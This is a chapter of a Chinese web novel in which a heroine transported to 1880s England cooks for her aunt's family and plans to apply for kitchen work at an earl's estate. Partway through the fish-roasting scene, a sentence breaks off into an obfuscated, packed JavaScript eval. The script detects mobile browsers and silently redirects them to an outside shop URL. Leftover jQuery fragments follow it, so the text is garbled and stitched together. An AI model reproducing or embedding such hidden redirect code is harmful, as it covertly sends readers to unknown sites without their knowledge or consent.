听见那句“她一定很有钱吧”,餐桌上的人不约而同地看向霍林斯太太。

    她被盯得不耐烦,哼了一声:

    “怎么,难道我说错了?”

    她晃了晃手里的酒杯,压低声调说:“大家不都知道罗瑟恩庄园早年就被老伯爵挥霍得七七八八,新伯爵继承爵位后,这些年一门心思地扑在事业上,把局面稳下来后才开始考虑终身大事。

    结果第一位未婚妻两人还没见上几回,女方就染急病去世了。至于那第二位——”

    霍林斯太太正说到兴头上,一旁的霍林斯先生忽然轻咳两声。

    霍林斯太太只得止住话头,嘟囔着在胸口画了个十字:

    “那简直是一场灾难……总之,又叫那位可怜的伯爵受了一回打击,希望这次的婚礼能够顺顺利利地举行,可别再出什么岔子了。”

    ***

    晚饭后,罗南给玛蒂备了热水袋,把她送进楼梯间的小房间。

    外边客厅里壁炉里余火还在吐着小小的红光。

    玛蒂一沾枕头便沉沉睡去。

    次日清早,她洗漱到一半,院外忽地热闹起来。

    湿淋淋的黄狗绕着药箱乱窜,几只公鸡被惊得咯咯直叫。

    霍林斯太太在院里喊:

    “科林,把阿奇拴好!”

    “米莉,别让鸡啄了你爸的花草!罗南,去看看巢箱有没有新鲜鸡蛋可以拾。”

    昨晚玛蒂还没来得及看清屋子周围的环境就晕过去了,于是她好奇地推门而出。

    屋外晨雾未散,石子小径被露水润得锃亮。

    玛蒂走下台阶,脚踩在湿润的地面上。

    一声声云雀的鸣叫从高空传来,远处几只奶牛正懒洋洋地啃着草,偶尔抬头朝她这边望一眼,又继续低头咀嚼。

    前院一侧是一排半敞开的畜棚,玛蒂弯着腰走了进去。

    里面沿墙摆着一溜粗糙的木柜,被隔成一个个小格子。

    每个格子的网眼小门上都贴着纸签,用墨水歪歪写着字——“舒克家的猫·咳嗽”“米勒家的小白兔·后腿扭伤”。

    格子里还铺着干草,玛蒂能看见一只病猫蜷成一团安静地打盹,还有一只后腿被木片夹板固定住的小兔子,此刻正慢悠悠地嚼着苜蓿。

    畜棚旁边是一间简陋却收拾得干净的鸡舍,一群肥母鸡从草窝中钻出来,在院子里闲晃。

    鸡舍墙边摆着一列巢箱,稻草暖烘烘地鼓成一团团。

    米莉正蹲着撒燕麦喂鸡,见玛蒂走近,回头冲她挥手:

    “表姐你醒啦?我姐姐在后头拾鸡蛋呢。”

    玛蒂回过头去,就看见罗南抱着篮子走过来问道:

    “温暖的鸡窝里刚出来的鸡蛋最好吃了,你们早餐想吃水煮蛋还是煎蛋?”

    米莉抢着插话:“水煮蛋!我要蛋黄没全熟的那种!”

    罗南失笑:“那得看运气。妈妈十次里顶多有两三次能把火候控好。”

    她说着又摸了摸一个巢箱,“不过今天蛋多,我们可以多试一回。”

    这不就是溏心蛋嘛,她上辈子可煮过许多次。

    玛蒂意识到这是她在这个新家展现价值的一个机会,于是她便自告奋勇地拿着鸡蛋进了厨房。

    姑妈家的厨房不大,灶旁木架上码着各色器皿,窄口的玻璃瓶里是盐与香草,陶罐里装着掰成小块的糖,篮子里放着今早刚捡的新鲜鸡蛋和几颗带泥的洋葱。

    水开,她小心放入鸡蛋,掐着心里的火候等。

    等的空当,玛蒂的思绪不由飘远。

    原主的家境起初与姑妈家差不多,后来父亲早逝,家里再无进项,只能一点点啃老本。再后来原主上学,母亲体弱一直小病不断,钱就像漏斗一样往外淌。

    在这种环境里原主被迫懂事早,柴米油盐样样上手。也难怪她此刻进了厨房,动作熟练利落,却没有人觉得突兀——毕竟原主早早就学会了怎么照料生活,做饭、洗衣、烧火样样不在话下。

    鸡蛋煮好,玛蒂将其捞出放入冷水中冷却,冷却完后就把鸡蛋端上餐桌,放进蛋托里。

    玛蒂接过罗南递过来的刚烤好的面包条,这种面包条只有手指粗细。

    于是玛蒂干脆在面包条的顶端抹上一点咸黄油,黄油在热气中微微化开,随后她用小勺在蛋壳顶端戳了个洞,把面包条放在温热的蛋液里蘸了一下送入口中,咸香、温润,混着面包焦脆的口感,让她忍不住眯了下眼睛。

    一旁的霍林斯一家纷纷看向她,看她吃得有模有样,竟也饶有兴趣地学了起来。

    米莉瞪大眼睛学着她的动作,第一次蘸蛋液就兴奋得叫起来:

    “哇——太好吃了!表姐你怎么会这种吃法的!”

    霍林斯太太瞥了她一眼,嘴角虽然带着笑意,语气却毫不客气:

    “哟,原来你做饭的花样还挺多,我看你也恢复得差不多了,干脆以后一日三餐的任务就交给你了。”

    罗南忙道:“别听妈妈吓唬你,我会来厨房和你一起做饭的。”

    霍林斯先生和科林表哥没有开口说什么,只是三两口就解决了一整盘面包条,然后又剥了一枚鸡蛋,两枚鸡蛋,三枚鸡蛋……蛋不够了,玛蒂又去碗橱里摸出几只前几天收的鸡蛋再下锅煮了一轮。

    等两人心满意足地把最后一条面包也吃得干干净净后,这才起身,朝玛蒂道了谢,各自出门了:一位去出诊,一位去后院劈柴干活。

    玛蒂休息一会后也出门了,她打算和罗南一起去小镇的集市上买些肉食蔬菜。

    在人声嘈杂的摊位间穿行时,玛蒂耳边忽然飘来几位妇人的交谈声。

    “罗瑟恩庄园那边最近要招人,你听说了吗?”

    “听说了,我家那位会修剪花草,正准备去应聘园丁呢。”

    “厨房也缺人呢,帮工、洗碗工都要。”

    “是啊,据说伯爵府还提高了工资待遇,又包吃住,真是不错。”

    “……”

    玛蒂装作若无其事地低头看菜,心里却把这些话都默默记在心上。

    这一小段时间相处下来,表姐他们待她还不错,她记忆里姑妈一家向来也挺厚道,在原主的母亲得了流感后,他们还托人送来过一些钱和药。

    只是毕竟多年未见,之前也从没真正住在一块相处过,再亲的亲戚终归隔着点生疏。想想看,就算在现代,和好朋友合租都能闹翻,更别说在这个处处讲究亲疏关系的年代。

    说到底,对霍林斯一家来说,多养一个孩子始终是多添一份开销。

    况且姑妈还不知道她身上还有一笔债务未清,她若是能早点找到一份工作,便能早点自立,不再成为谁的负担,也让自己心里踏实些。

    权衡再三,玛蒂还是决定先尽快设法找份差事,一边维持生计,一边慢慢还债。

    可在这个年代,女孩们的出路大多有限:要么在家操持家务,然后早早结婚;要么在外干些琐碎辛苦的杂活。那样的工作,先不说姑妈为了霍林斯一家的名声断然不会点头,她自己也并不情愿。

    名声体面、又能养活自己的工作并不多,罗瑟恩家族作为地道的老英国正米字旗,他们庄园的岗位算是其中最好的选择。偏偏这次扩招是因伯爵的新婚才临时添设,一旦错过,就不知下次要等到什么时候了。

    时间紧迫,她眼下需要一个契机,一个能让姑妈一家彻底信服她厨艺的契机,这样她提出想要去庄园应聘时才不会被视为异想天开而受到阻拦。

    玛蒂的目光掠过小摊,心下立刻有了决断。

    见表妹在一处鱼摊前停下,罗南惊讶问:“你还会做鱼?”

    斯托小镇并不靠海,所以镇上的居民平日里吃鱼并不多,大多嫌弃腥味太重,处理起来又麻烦。

    玛蒂点点头,“是的,我准备买几条海鲈鱼回去当晚餐。”

    挑了几尾新鲜的海鲈鱼后,玛蒂来到蔬菜摊,又买了一些蔬菜和几根防风草准备回去做一道开胃沙拉解腻。

    回到家时,霍林斯太太正用粗麦面包夹着培根和鸡蛋做三明治当午餐,看到她们提着一袋鱼回来时,眉头蹙了起来,“你们买鱼做什么?鱼腥味重得很,厨房半天散不掉。”

    “不会的,姑妈。”玛蒂笑着摇头,“我会处理得干干净净,一点腥味也不会有。”

    “哦。”霍林斯太太狐疑地看了她一眼,撩起围裙擦手,“行吧,那我倒要看看你有多能耐。”

    ***

    午后,玛蒂在厨房忙碌起来,准备晚餐的主菜——地中海风味烤鱼。

    这是玛蒂上辈子的拿手好菜之一,味道和造型上肯定能够吊打英国的炸鱼薯条。

    她先处理鲈鱼,去鳞、剖肚、清洗干净,在鱼身两侧斜切几道浅口,抹上粗盐和油,再在腹中塞入薄薄的柠檬片与一小把新鲜莳萝。

    接着玛蒂取出烤盘,铺上一层烤纸。

    实际上她今天早上进入厨房煮鸡蛋的时候,就被十九世纪八十年代的英国发达程度震惊到了。

    姑妈家的厨房不仅已经用上了煤气灶台,连烤箱都有了,虽然是铸铁燃煤烤箱,但上手难度不算大。

    在表姐罗南的指点下,玛蒂很快摸清了门道:先用引火煤把炉膛烧透,等铸铁壁烫得搁上去一滴水立刻嗞嗞蒸干,再拨动侧面的风门调节杆,将火势压到均匀的中温。

    随后玛蒂在烤盘上面铺满红洋葱圈和对半切的番茄,撒盐、淋上油拌匀,再将整条鱼横放其上,用柠

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17717526|208543||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    檬汁与黄油打成一小碗乳白的柠檬油汁,烤到半程取出刷一遍,继续入炉,直到鱼皮起泡发脆、番茄烤到微裂出汁。

    与此同时,她将防风草切段,淋上蜂蜜烘烤至边角轻微焦褐,取出后拌入爽脆的黄瓜薄片,最后滴上几滴苹果醋,一道甜爽清脆的解腻沙拉便完成了。

    上桌时,霍林斯太太先凑近闻,眉头渐舒:“没有腥味。”

    米莉这才放心尝了一块鱼肉,顿时眼睛发亮:

    “好嫩的鱼肉!比上回那条有股土味的鱼好吃一百倍,鱼肉里面像云朵一样软,还有酸酸的柠檬味!”

    罗南是看着玛蒂怎么做鱼的,镇上的人平日用烤箱多是做甜点,她还是第一次看见有人用烤箱做鱼吃,而且这种做法几乎不脏烤盘,非常好清洗,烤箱里也没有留下任何鱼腥味,真的是太神奇了。

    霍林斯先生和科林几乎不说话,只埋头吃。

    等到餐盘里只剩一汪金黄的柠檬油汁时,两人又各撕一截面包,把盘底的汤汁卷得干干净净,仍意犹未尽,又将旁边的防风草沙拉也都消灭干净了。

    看着一桌亮得能照人的餐盘,霍林斯一家这才猛然意识到,自己似乎严重低估了这位侄女/表姐妹的厨艺。

    平日里霍林斯太太下厨手艺也不差,只是乡间食材有限,做来做去总是那几样。但玛蒂做出来的菜肴,却既有新意,又不失风味,连腥气难除的鱼她都能处理得鲜嫩可口、毫无异味。

    霍林斯太太挑眉看她:

    “你不去上学之后,难不成就整日在家鼓捣这些?”

    见姑妈已经主动帮她补好了借口,玛蒂顺水推舟地笑了笑,干脆就这么认了下来。

    罗南由衷道:“玛蒂表妹,我觉得你这厨艺完全可以媲美伯克郡那家寄宿旅店的专业厨师了。”

    霍林斯先生放下刀叉,也点头表示赞同。

    见自己的厨艺水平得到认可,玛蒂沉吟了片刻,终于开口:

    “其实我今天正好有件事,想跟姑妈你们商量一下。”

    她把早晨在集市听来的消息讲了出来,说罗瑟恩庄园正在招人,她想去试着应聘厨房帮工。

    有了前头那番厨艺的铺垫,霍林斯太太对这个决定倒没有立刻反对,只是嘟囔了几句:

    “又不是养不起你,何必这么急着出去干活呢……”

    玛蒂没接话,只抿着唇,心里有些忐忑地等待着两人的正式决定。

    见霍林斯太太忽然皱起了眉,她的心也跟着提了起来。

    “庄园里那种职位,”霍林斯太太迟疑道,“没推荐信,可不好进吧?”

    原来是在担心这个问题。

    玛蒂心里顿时松了一口气。

    还没等她开口说什么,一旁的霍林斯先生便摇了摇头说道:

    “如果是应聘厨娘的话需要推荐信,但若只是厨房帮工,倒未必。现在人手紧,说不定面试完就能上。”

    说到这,他忽地一顿:“我记得我有位客户在伍尔德供货商工作,这家供货商专门给罗瑟恩庄园送货,他或许知道一些细节。明天我正好要去他那里一趟,顺便替你打听打听。”

    玛蒂点点头,只能耐着性子等消息。

    第二天一整日她都心不在焉的,时不时朝院门望上一眼。

    直到傍晚,霍林斯先生才拎着一个布袋推门回来。

    “打听到了。”他把布袋放到地上说道,“这次招厨房帮工确实不用推荐信。”

    玛蒂眼睛一亮。

    “不过,”霍林斯先生话锋一转,“据我那个客户所说,正因为没有门槛,这次来应聘的人肯定不少。附近几个镇子的姑娘都盯着这份差事呢。”

    “庄园那边想必也料到了这一点,所以特意设置了两关:第一关是普通的面试,第二关则是需要候选者现场做一道菜。”

    “做什么菜?”

    霍林斯先生提起脚边的布袋晃了晃。

    “榅桲果冻,一道甜品。”

    姑妈闻声围上来,解开袋口朝里一瞧,伸手拿出一颗榅桲。

    榅桲在十九世纪的欧洲算是一个比较常见的水果,通体金黄,表皮覆着一层细细的绒毛,模样介于梨和苹果之间。

    “你可别高兴得太早。”姑妈打量着手里的榅桲,忍不住朝玛蒂泼了盆冷水,“你姑父那个客户嘴巴最不严实,一个消息到了他手里,跟装在漏了底的口袋里没什么分别。依我看,这事估计早就传出去了,说不定这会附近几个镇子的姑娘都已经开始练这道甜品了。你要是真想争这个位子,就趁还有几天时间,赶紧把这道果冻练熟了,别到时候上了灶台手忙脚乱,白白丢人。"

    “我明白了姑妈,”玛蒂答道:"我会好好练习这道甜品的。"